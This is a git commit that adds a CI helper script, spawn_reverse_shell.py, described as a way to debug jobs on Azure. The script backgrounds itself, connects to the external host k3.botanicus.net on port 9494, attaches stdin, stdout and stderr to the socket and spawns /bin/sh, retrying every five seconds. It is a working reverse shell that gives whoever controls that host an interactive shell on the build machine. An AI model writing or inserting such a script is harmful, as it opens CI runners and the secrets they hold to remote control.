issue #587: import spawn_reverse_shell.py script.

To support debugging on Azure
This commit is contained in:
David Wilson 2019-05-26 12:06:14 +01:00
parent 838742f000
commit fc9dabb45c
1 changed files with 36 additions and 0 deletions

36
.ci/spawn_reverse_shell.py Executable file
View File

@ -0,0 +1,36 @@
#!/usr/bin/env python
"""
Allow poking around Azure while the job is running.
"""
import os
import pty
import socket
import subprocess
import sys
import time
if os.fork():
sys.exit(0)
def try_once():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("k3.botanicus.net", 9494))
open('/tmp/interactive', 'w').close()
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = pty.spawn("/bin/sh")
while True:
try:
try_once()
except:
time.sleep(5)
continue